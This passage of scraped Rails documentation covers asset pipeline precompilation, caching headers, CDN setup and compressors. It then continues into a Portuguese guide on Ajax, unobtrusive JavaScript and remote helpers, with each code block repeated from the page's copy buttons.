<%= javascript_include_tag "application", debug: true %>

<%= stylesheet_link_tag "application", debug: true %> <%= javascript_include_tag "application", debug: true %> Copiar

The :debug option is redundant if debug mode is already on.

You can also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.

4 In Production

In the production environment Sprockets uses the fingerprinting scheme outlined above. By default Rails assumes assets have been precompiled and will be served as static assets by your web server.

During the precompilation phase an SHA256 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disk. These fingerprinted names are used by the Rails helpers in place of the manifest name.

For example this:

<%= javascript_include_tag "application" %>
<%= stylesheet_link_tag "application" %>

<%= javascript_include_tag "application" %> <%= stylesheet_link_tag "application" %> Copiar

generates something like this:

<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
rel="stylesheet" />

<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script> <link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" /> Copiar

with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the javascript_include_tag and stylesheet_link_tag.

The fingerprinting behavior is controlled by the config.assets.digest initialization option (which defaults to true).

Under normal circumstances the default config.assets.digest option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.

4.1 Precompiling Assets

Rails comes bundled with a command to compile the asset manifests and other files in the pipeline.

Compiled assets are written to the location specified in config.assets.prefix. By default, this is the /assets directory.

You can call this command on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally.

The command is:

$ RAILS_ENV=production rails assets:precompile

RAILS_ENV=production rails assets:precompile Copiar

This links the folder specified in config.assets.prefix to shared/assets. If you already use this shared folder you'll need to write your own deployment command.

It is important that this folder is shared between deployments so that remotely cached pages referencing the old compiled assets still work for the life of the cached page.

The default matcher for compiling files includes application.js, application.css and all non-JS/CSS files (this will include all image assets automatically) from app/assets folders including your gems:

[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) },
/application.(css|js)$/ ]

[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) }, /application.(css|js)$/ ] Copiar

The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, .coffee and .scss files are not automatically included as they compile to JS/CSS.

If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the precompile array in config/initializers/assets.rb:

Rails.application.config.assets.precompile += %w( admin.js admin.css )

Rails.application.config.assets.precompile += %w( admin.js admin.css ) Copiar

Always specify an expected compiled filename that ends with .js or .css, even if you want to add Sass or CoffeeScript files to the precompile array.

The command also generates a .sprockets-manifest-randomhex.json (where randomhex is a 16-byte random hex string) that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:

{"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383,
"digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="},
"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994,
"digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="},
"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629,
"digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="},
"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414,
"digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}},
"assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js",
"application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css",
"favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico",
"my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}}

{"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383, "digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="}, "application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994, "digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="}, "favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629, "digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="}, "my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414, "digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}}, "assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js", "application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css", "favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico", "my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}} Copiar

The default location for the manifest is the root of the location specified in config.assets.prefix ('/assets' by default).

If there are missing precompiled files in production you will get a Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError exception indicating the name of the missing file(s).

4.1.1 Far-future Expires Header

Precompiled assets exist on the file system and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add those headers.

For Apache:

# The Expires* directives requires the Apache module
# `mod_expires` to be enabled.
<Location /assets/>
# Use of ETag is discouraged when Last-Modified is present
Header unset ETag
FileETag None
# RFC says only cache for 1 year
ExpiresActive On
ExpiresDefault "access plus 1 year"
</Location>

# The Expires* directives requires the Apache module # `mod_expires` to be enabled. <Location /assets/> # Use of ETag is discouraged when Last-Modified is present Header unset ETag FileETag None # RFC says only cache for 1 year ExpiresActive On ExpiresDefault "access plus 1 year" </Location> Copiar

For NGINX:

location ~ ^/assets/ {
expires 1y;
add_header Cache-Control public;

add_header ETag "";
}

location ~ ^/assets/ { expires 1y; add_header Cache-Control public; add_header ETag ""; } Copiar

4.2 Local Precompilation

Sometimes, you may not want or be able to compile assets on the production server. For instance, you may have limited write access to your production filesystem, or you may plan to deploy frequently without making any changes to your assets.

In such cases, you can precompile assets locally — that is, add a finalized set of compiled, production-ready assets to your source code repository before pushing to production. This way, they do not need to be precompiled separately on the production server upon each deployment.

As above, you can perform this step using

$ RAILS_ENV=production rails assets:precompile

RAILS_ENV=production rails assets:precompile Copiar

Note the following caveats:

- If precompiled assets are available, they will be served — even if they no longer match the original (uncompiled) assets, even on the development server. To ensure that the development server always compiles assets on-the-fly (and thus always reflects the most recent state of the code), the development environment must be configured to keep precompiled assets in a different location than production does. Otherwise, any assets precompiled for use in production will clobber requests for them in development (i.e., subsequent changes you make to assets will not be reflected in the browser). You can do this by adding the following line to config/environments/development.rb:

config.assets.prefix = "/dev-assets"

config.assets.prefix = "/dev-assets" Copiar

- The asset precompile task in your deployment tool (e.g., Capistrano) should be disabled.

- Any necessary compressors or minifiers must be available on your development system.

4.3 Live Compilation

In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.

To enable this option set:

config.assets.compile = true

config.assets.compile = true Copiar

On the first request the assets are compiled and cached as outlined in Assets Cache Store, and the manifest names used in the helpers are altered to include the SHA256 hash.

Sprockets also sets the Cache-Control HTTP header to max-age=31536000. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.

This mode uses more memory, performs more poorly than the default, and is not recommended.

If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:

group :production do
gem 'mini_racer'
end

group :production do gem 'mini_racer' end Copiar

4.4 CDNs

CDN stands for Content Delivery Network, they are primarily designed to cache assets all over the world so that when a browser requests the asset, a cached copy will be geographically close to that browser. If you are serving assets directly from your Rails server in production, the best practice is to use a CDN in front of your application.

A common pattern for using a CDN is to set your production application as the "origin" server. This means when a browser requests an asset from the CDN and there is a cache miss, it will grab the file from your server on the fly and then cache it. For example if you are running a Rails application on example.com and have a CDN configured at mycdnsubdomain.fictional-cdn.com, then when a request is made to mycdnsubdomain.fictional- cdn.com/assets/smile.png, the CDN will query your server once at example.com/assets/smile.png and cache the request. The next request to the CDN that comes in to the same URL will hit the cached copy. When the CDN can serve an asset directly the request never touches your Rails server. Since the assets from a CDN are geographically closer to the browser, the request is faster, and since your server doesn't need to spend time serving assets, it can focus on serving application code as fast as possible.

4.4.1 Set up a CDN to Serve Static Assets

To set up your CDN you have to have your application running in production on the internet at a publicly available URL, for example example.com. Next you'll need to sign up for a CDN service from a cloud hosting provider. When you do this you need to configure the "origin" of the CDN to point back at your website example.com, check your provider for documentation on configuring the origin server.

The CDN you provisioned should give you a custom subdomain for your application such as mycdnsubdomain.fictional-cdn.com (note fictional-cdn.com is not a valid CDN provider at the time of this writing). Now that you have configured your CDN server, you need to tell browsers to use your CDN to grab assets instead of your Rails server directly. You can do this by configuring Rails to set your CDN as the asset host instead of using a relative path. To set your asset host in Rails, you need to set config.asset_host in config/environments/production.rb:

config.asset_host = 'mycdnsubdomain.fictional-cdn.com'

config.asset_host = 'mycdnsubdomain.fictional-cdn.com' Copiar

You only need to provide the "host", this is the subdomain and root domain, you do not need to specify a protocol or "scheme" such as http:// or https://. When a web page is requested, the protocol in the link to your asset that is generated will match how the webpage is accessed by default.

You can also set this value through an environment variable to make running a staging copy of your site easier:

config.asset_host = ENV['CDN_HOST']

config.asset_host = ENV['CDN_HOST'] Copiar

You would need to set CDN_HOST on your server to mycdnsubdomain .fictional-cdn.com for this to work.

Once you have configured your server and your CDN when you serve a webpage that has an asset:

<%= asset_path('smile.png') %>

<%= asset_path('smile.png') %> Copiar

Instead of returning a path such as /assets/smile.png (digests are left out for readability). The URL generated will have the full path to your CDN.

http://mycdnsubdomain.fictional-cdn.com/assets/smile.png

http://mycdnsubdomain.fictional-cdn.com/assets/smile.png Copiar

If the CDN has a copy of smile.png it will serve it to the browser and your server doesn't even know it was requested. If the CDN does not have a copy it will try to find it at the "origin" example.com/assets/smile.png and then store it for future use.

If you want to serve only some assets from your CDN, you can use custom :host option your asset helper, which overwrites value set in config.action_controller.asset_host.

<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>

<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %> Copiar

4.4.2 Customize CDN Caching Behavior

A CDN works by caching content. If the CDN has stale or bad content, then it is hurting rather than helping your application. The purpose of this section is to describe general caching behavior of most CDNs, your specific provider may behave slightly differently.

4.4.2.1 CDN Request Caching

While a CDN is described as being good for caching assets, in reality caches the entire request. This includes the body of the asset as well as any headers. The most important one being Cache-Control which tells the CDN (and web browsers) how to cache contents. This means that if someone requests an asset that does not exist /assets/i-dont-exist.png and your Rails application returns a 404, then your CDN will likely cache the 404 page if a valid Cache-Control header is present.

4.4.2.2 CDN Header Debugging

One way to check the headers are cached properly in your CDN is by using curl. You can request the headers from both your server and your CDN to verify they are the same:

$ curl -I http://www.example/assets/application-
d0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK
Server: Cowboy
Date: Sun, 24 Aug 2014 20:27:50 GMT
Connection: keep-alive
Last-Modified: Thu, 08 May 2014 01:24:14 GMT
Content-Type: text/css
Cache-Control: public, max-age=2592000
Content-Length: 126560
Via: 1.1 vegur

curl -I http://www.example/assets/application- Copiar

Versus the CDN copy.

$ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
d0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK Server: Cowboy Last-
Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
Cache-Control:
public, max-age=2592000
Via: 1.1 vegur
Content-Length: 126560
Accept-Ranges:
bytes
Date: Sun, 24 Aug 2014 20:28:45 GMT
Via: 1.1 varnish
Age: 885814
Connection: keep-alive
X-Served-By: cache-dfw1828-DFW
X-Cache: HIT
X-Cache-Hits:
68
X-Timer: S1408912125.211638212,VS0,VE0

curl -I http://mycdnsubdomain.fictional-cdn.com/application- Copiar

Check your CDN documentation for any additional information they may provide such as X-Cache or for any additional headers they may add.

4.4.2.3 CDNs and the Cache-Control Header

The cache control header is a W3C specification that describes how a request can be cached. When no CDN is used, a browser will use this information to cache contents. This is very helpful for assets that are not modified so that a browser does not need to re-download a website's CSS or JavaScript on every request. Generally we want our Rails server to tell our CDN (and browser) that the asset is "public", that means any cache can store the request. Also we commonly want to set max-age which is how long the cache will store the object before invalidating the cache. The max-age value is set to seconds with a maximum possible value of 31536000 which is one year. You can do this in your Rails application by setting

config.public_file_server.headers = {
'Cache-Control' => 'public, max-age=31536000'
}

config.public_file_server.headers = { 'Cache-Control' => 'public, max-age=31536000' } Copiar

Now when your application serves an asset in production, the CDN will store the asset for up to a year. Since most CDNs also cache headers of the request, this Cache-Control will be passed along to all future browsers seeking this asset, the browser then knows that it can store this asset for a very long time before needing to re-request it.

4.4.2.4 CDNs and URL based Cache Invalidation

Most CDNs will cache contents of an asset based on the complete URL. This means that a request to

http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png

http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png Copiar

Will be a completely different cache from

http://mycdnsubdomain.fictional-cdn.com/assets/smile.png

http://mycdnsubdomain.fictional-cdn.com/assets/smile.png Copiar

If you want to set far future max-age in your Cache-Control (and you do), then make sure when you change your assets that your cache is invalidated. For example when changing the smiley face in an image from yellow to blue, you want all visitors of your site to get the new blue face. When using a CDN with the Rails asset pipeline config.assets.digest is set to true by default so that each asset will have a different file name when it is changed. This way you don't have to ever manually invalidate any items in your cache. By using a different unique asset name instead, your users get the latest asset.

5 Customizing the Pipeline

5.1 CSS Compression

One of the options for compressing CSS is YUI. The YUI CSS compressor provides minification.

The following line enables YUI compression, and requires the yui-compressor gem.

config.assets.css_compressor = :yui

config.assets.css_compressor = :yui Copiar

The other option for compressing CSS if you have the sass-rails gem installed is

config.assets.css_compressor = :sass

config.assets.css_compressor = :sass Copiar

5.2 JavaScript Compression

Possible options for JavaScript compression are :closure, :uglifier and :yui. These require the use of the closure-compiler, uglifier or yui-compressor gems, respectively.

Take the uglifier gem, for example. This gem wraps UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and comments, shortening local variable names, and performing other micro-optimizations such as changing if and else statements to ternary operators where possible.

The following line invokes uglifier for JavaScript compression.

config.assets.js_compressor = :uglifier

config.assets.js_compressor = :uglifier Copiar

You will need an ExecJS supported runtime in order to use uglifier. If you are using macOS or Windows you have a JavaScript runtime installed in your operating system.

5.3 GZipping your assets

By default, gzipped version of compiled assets will be generated, along with the non-gzipped version of assets. Gzipped assets help reduce the transmission of data over the wire. You can configure this by setting the gzip flag.

config.assets.gzip = false # disable gzipped assets generation

config.assets.gzip = false # disable gzipped assets generation Copiar

Refer to your web server's documentation for instructions on how to serve gzipped assets.

5.4 Using Your Own Compressor

The compressor config settings for CSS and JavaScript also take any object. This object must have a compress method that takes a string as the sole argument and it must return a string.

class Transformer
def compress(string)
do_something_returning_a_string(string)
end
end

class Transformer def compress(string) do_something_returning_a_string(string) end end Copiar

To enable this, pass a new object to the config option in application.rb:

config.assets.css_compressor = Transformer.new

config.assets.css_compressor = Transformer.new Copiar

5.5 Changing the assets Path

The public path that Sprockets uses by default is /assets.

This can be changed to something else:

config.assets.prefix = "/some_other_path"

config.assets.prefix = "/some_other_path" Copiar

This is a handy option if you are updating an older project that didn't use the asset pipeline and already uses this path or you wish to use this path for a new resource.

5.6 X-Sendfile Headers

The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. Have a look at send_file on how to use this feature.

Apache and NGINX support this option, which can be enabled in config/environments/production.rb:

# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX

# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX Copiar

If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into production.rb and any other environments you define with production behavior (not application.rb).

For further details have a look at the docs of your production web server: - Apache - NGINX

6 Assets Cache Store

By default, Sprockets caches assets in tmp/cache/assets in development and production environments. This can be changed as follows:

config.assets.configure do |env|
env.cache = ActiveSupport::Cache.lookup_store(:memory_store,
{ size: 32.megabytes })
end

config.assets.configure do |env| env.cache = ActiveSupport::Cache.lookup_store(:memory_store, { size: 32.megabytes }) end Copiar

To disable the assets cache store:

config.assets.configure do |env|
env.cache = ActiveSupport::Cache.lookup_store(:null_store)
end

config.assets.configure do |env| env.cache = ActiveSupport::Cache.lookup_store(:null_store) end Copiar

7 Adding Assets to Your Gems

Assets can also come from external sources in the form of gems.

A good example of this is the jquery-rails gem. This gem contains an engine class which inherits from Rails::Engine. By doing this, Rails is informed that the directory for this gem may contain assets and the app/assets, lib/assets and vendor/assets directories of this engine are added to the search path of Sprockets.

8 Making Your Library or Gem a Pre-Processor

Sprockets uses Processors, Transformers, Compressors, and Exporters to extend Sprockets functionality. Have a look at Extending Sprockets to learn more. Here we registered a preprocessor to add a comment to the end of text/css (.css) files.

module AddComment
def self.call(input)
{ data: input[:data] + "/* Hello From my sprockets extension */" }
end
end

module AddComment def self.call(input) { data: input[:data] + "/* Hello From my sprockets extension */" } end end Copiar

Now that you have a module that modifies the input data, it's time to register it as a preprocessor for your mime type.

Sprockets.register_preprocessor 'text/css', AddComment

Sprockets.register_preprocessor 'text/css', AddComment Copiar

Trabalhando com JavaScript no Rails —...

1 Uma introdução ao Ajax

Para entender o Ajax, você precisa entender primeiro o que o navegador faz normalmente.

Quando você digita http://localhost:3000 na barra de endereço do navegador e clica no Enter, o navegador (seu 'cliente') faz uma requisição para o servidor. Ele analisa a resposta, traz todos os assets associados, como arquivos JavaScript, stylesheets e imagens. E então monta a página. Se você clica em um link, ele repete o mesmo processo: encontra a página, encontra os assets, coloca eles juntos e mostra o resultado. Isso é chamado de 'ciclo de requisição e resposta'.

JavaScript também pode fazer requisições para o servidor, e analisar a resposta. Ele também tem a habilidade de atualizar informações na página. Combinando esses dois poderes, o JavaScript permite que uma página web atualize partes do seu próprio conteúdo, sem precisar pegar a página inteira do servidor. Essa é uma técnica poderosa que nós chamamos de Ajax.

Como exemplo, aqui está um código JavaScript que faz uma requisição Ajax:

fetch("/test")
.then((data) => data.text())
.then((html) => {
const results = document.querySelector("#results");
results.insertAdjacentHTML("beforeend", data);
});

fetch("/test") .then((data) => data.text()) .then((html) => { const results = document.querySelector("#results"); results.insertAdjacentHTML("beforeend", data); }); Copiar

Este código pega os dados do "/test", e então anexa o resultado no elemento com o id results.

O Rails fornece muito suporte interno para a criação de páginas web com essa técnica. Você raramente terá de escrever esse código. O resto deste guia irá lhe mostrar como o Rails pode te ajudar a escrever páginas web desse modo, mas tudo isso é feito a partir dessa técnica muito simples.

2 JavaScript discreto (unobtrusive)

O Rails usa uma técnica chamada "JavaScript discreto (unobtrusive)" para lidar com a junção do JavaScript ao DOM. Essa costuma ser considerada a melhor prática entre a comunidade frontend, mas você pode ocasionalmente ler tutoriais que demonstram de outras formas.

Aqui está o modo mais simples de escrever JavaScript. Você pode ver ele sendo referido como 'Inline JavaScript':

<a href="#" onclick="this.style.backgroundColor='#990000';event.preventDefault();">Paint it red</a>

<a href="#" onclick="this.style.backgroundColor='#990000';event.preventDefault();">Paint it red</a> Copiar

Ao clicar no link, ele ficará vermelho. Aqui está o problema: o que acontece quando queremos que mais JavaScript seja executado no clique?

<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';event.preventDefault();">Paint it green</a>

<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';event.preventDefault();">Paint it green</a> Copiar

Estranho, certo? Poderíamos retirar a definição da função do manipulador de cliques, e transformar em uma função:

window.paintIt = function(event, backgroundColor, textColor) {
event.preventDefault();
event.target.style.backgroundColor = backgroundColor;
if (textColor) {
event.target.style.color = textColor;
}
}

window.paintIt = function(event, backgroundColor, textColor) { event.preventDefault(); event.target.style.backgroundColor = backgroundColor; if (textColor) { event.target.style.color = textColor; } } Copiar

E então na nossa página:

<a href="#" onclick="paintIt(event, '#990000')">Paint it red</a>

<a href="#" onclick="paintIt(event, '#990000')">Paint it red</a> Copiar

Esse é um pouco melhor, mas que tal múltiplos links com o mesmo efeito?

<a href="#" onclick="paintIt(event, '#990000')">Paint it red</a>
<a href="#" onclick="paintIt(event, '#009900', '#FFFFFF')">Paint it green</a>
<a href="#" onclick="paintIt(event, '#000099', '#FFFFFF')">Paint it blue</a>

<a href="#" onclick="paintIt(event, '#990000')">Paint it red</a> <a href="#" onclick="paintIt(event, '#009900', '#FFFFFF')">Paint it green</a> <a href="#" onclick="paintIt(event, '#000099', '#FFFFFF')">Paint it blue</a> Copiar

Não muito DRY, ahn? Podemos corrigir usando eventos. Vamos adicionar o atributo data-* nos nossos links, e então vincular o manipulador ao evento clique de cada link que tenha esse atributo:

function paintIt(element, backgroundColor, textColor) {
element.style.backgroundColor = backgroundColor;
if (textColor) {
element.style.color = textColor;
}
}

window.addEventListener("load", () => {
const links = document.querySelectorAll(
"a[data-background-color]"
);
links.forEach((element) => {
element.addEventListener("click", (event) => {
event.preventDefault();

const {backgroundColor, textColor} = element.dataset;
paintIt(element, backgroundColor, textColor);
});
});
});

function paintIt(element, backgroundColor, textColor) { element.style.backgroundColor = backgroundColor; if (textColor) { element.style.color = textColor; } } window.addEventListener("load", () => { const links = document.querySelectorAll( "a[data-background-color]" ); links.forEach((element) => { element.addEventListener("click", (event) => { event.preventDefault(); const {backgroundColor, textColor} = element.dataset; paintIt(element, backgroundColor, textColor); }); }); }); Copiar

<a href="#" data-background-color="#990000">Paint it red</a>
<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>

<a href="#" data-background-color="#990000">Paint it red</a> <a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a> <a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a> Copiar

Nós chamamos isso de JavaScript 'discreto (unobtrusive)' porque nós não estamos mais misturando nosso JavaScript dentro do HTML. Estamos separando propriamente nossos interesses, facilitando mudanças futuras. Podemos facilmente adicionar comportamentos em qualquer link adicionando o atributo data. Podemos rodar todo nosso JavaScript através de um minimizador e concatenador. Podemos entregar todo nosso pacote JavaScript em cada página, o que significa que ele terá de ser baixado quando a primeira página carregar e então será salvo na memória cache (cached) em todas as páginas depois disso. Muitos pequenos benefícios realmente se somam.

3 Helpers Internos

3.1 Elementos Remotos

O Rails fornece um grupo de métodos view helper escritos em ruby para ajudar você na criação do HTML. As vezes, você quer adicionar um pouco de Ajax para esses elementos, e o Rails te da cobertura nesses casos.

Por causa do JavaScript não obtrusivo (unobtrusive), os "Ajax Helpers" do rails estão atualmente em duas partes: metade JavaScript e metade Rails.

A não ser que você desabilite a Asset Pipeline, o rails-ujs fornece a metade JavaScript, e os view helpers regulares em Ruby adicionam as tags apropriadas ao seu DOM.

Você pode ler abaixo sobre a diferença dos eventos que são disparados lidando com elementos remotos dentro da sua aplicação.

3.1.1 form_with

o form_with é um helper que auxilia na escrita de formulários. Para usar Ajax nos formulários você pode passar a opção :local no form_with.

<%= form_with(model: @article, id: "new-article", local: false) do |form| %>
...
<% end %>

<%= form_with(model: @article, id: "new-article", local: false) do |form| %> ... <% end %> Copiar

Isso irá gerar o seguinte HTML:

<form id="new-article" action="/articles" accept-charset="UTF-8" method="post" data-remote="true">
...
</form>

<form id="new-article" action="/articles" accept-charset="UTF-8" method="post" data-remote="true"> ... </form> Copiar

Veja o data-remote="true". Agora, o formulário será enviado por Ajax ao invés do mecanismo normal de envio do browser.

Você provavelmente não quer só ficar sentado com um <form> preenchido, entretanto. Você provavelmente quer que algo aconteça após um envio bem-sucedido. Para fazer isso, vincule o evento ajax:success. Em caso de falha, use ajax:error. confira:

window.addEventListener("load", () => {
const element = document.querySelector("#new-article");
element.addEventListener("ajax:success", (event) => {
const [_data, _status, xhr] = event.detail;
element.insertAdjacentHTML("beforeend", xhr.responseText);
});
element.addEventListener("ajax:error", () => {
element.insertAdjacentHTML("beforeend", "<p>ERROR</p>");
});
});

window.addEventListener("load", () => { const element = document.querySelector("#new-article"); element.addEventListener("ajax:success", (event) => { const [_data, _status, xhr] = event.detail; element.insertAdjacentHTML("beforeend", xhr.responseText); }); element.addEventListener("ajax:error", () => { element.insertAdjacentHTML("beforeend", "<p>ERROR</p>"); }); }); Copiar

Obviamente, você irá querer ser um pouco mais sofisticado que isso, mas é um começo.

3.1.2 link_to

link_to é um helper que ajuda na geração de links. Ele tem a opção :remote que você pode usar assim:

<%= link_to "an article", @article, remote: true %>

<%= link_to "an article", @article, remote: true %> Copiar

que gera

<a href="/articles/1" data-remote="true">an article</a>

<a href="/articles/1" data-remote="true">an article</a> Copiar

Você pode vincular os mesmos eventos Ajax do form_with. Aqui está um exemplo. Vamos assumir que nós temos uma lista de artigos que podem ser deletadas com apenas um clique. Iríamos gerar um HTML como este:

<%= link_to "Delete article", @article, remote: true, method: :delete %>

<%= link_to "Delete article", @article, remote: true, method: :delete %> Copiar

e escrever um pouco de JavaScript como este:

window.addEventListener("load", () => {
const links = document.querySelectorAll("a[data-remote]");
links.forEach((element) => {
element.addEventListener("ajax:success", () => {
alert("The article was deleted.");
});
});
});

window.addEventListener("load", () => { const links = document.querySelectorAll("a[data-remote]"); links.forEach((element) => { element.addEventListener("ajax:success", () => { alert("The article was deleted."); }); }); }); Copiar

3.1.3 button_to

button_to é um helper que ajuda você a criar botões. Ele tem a opção :remote que você pode chamar assim:

<%= button_to "An article", @article, remote: true %>

<%= button_to "An article", @article, remote: true %> Copiar

Isso gera

<form action="/articles/1" class="button_to" data-remote="true" method="post">
<input type="submit" value="An article" />
</form>

<form action="/articles/1" class="button_to" data-remote="true" method="post"> <input type="submit" value="An article" /> </form> Copiar

Uma vez que é apenas um <form>, todas as informações do form_with também se aplicam.

3.2 Personalize Elementos Remotos

É possível personalizar o comportamento dos elementos com o atributo data-remote sem escrever uma linha de JavaScript. Você pode especificar extras atributos data- para fazer isso.

3.2.1 data-method

Ativando hyperlinks sempre resultam em uma requisição HTTP GET. Seja como for, se sua aplicação é RESTful, alguns links são na verdade ações que mudam dados no servidor, e devem ser executados com requisições diferentes de GET. Esse atributo permite mudar tais links para um método explícito tais como "post", "put" ou "delete".

O modo como isso funciona é que, quando um link é ativado, ele constrói um formulário escondido no documento com o atributo "action" correspondendo ao valor "href" do link, e o método corresponde ao valor do data-method, e envia esse formulário.

por causa dos envios de formulários com outros métodos HTTP além de GET e POST não são amplamente suportados entre navegadores, todos os outros métodos HTTP são na verdade enviados através de POST com o método pretendido indicado no parâmetro _method. o Rails automaticamente detecta e compensa isso.

3.2.2 data-url e data-params

Certos elementos da sua página não estão atualmente referenciando a alguma URL, mas você pode querer que eles acionem chamadas Ajax. Especificando o atributo data-url juntamente com o data-remote um irá disparar uma chamada Ajax para a URL dada. Você pode também especificar parâmetros extras através do atributo data-params.

Isso pode ser útil para disparar uma ação nos check-boxes por exemplo:

<input type="checkbox" data-remote="true"
data-url="/update" data-params="id=10" data-method="put">

<input type="checkbox" data-remote="true" data-url="/update" data-params="id=10" data-method="put"> Copiar

3.2.3 data-type

Também é possível definir o Ajax dataType explicitamente enquanto desempenha requisições para os elementos data-remote, por meio do atributo data-type

3.3 Confirmations

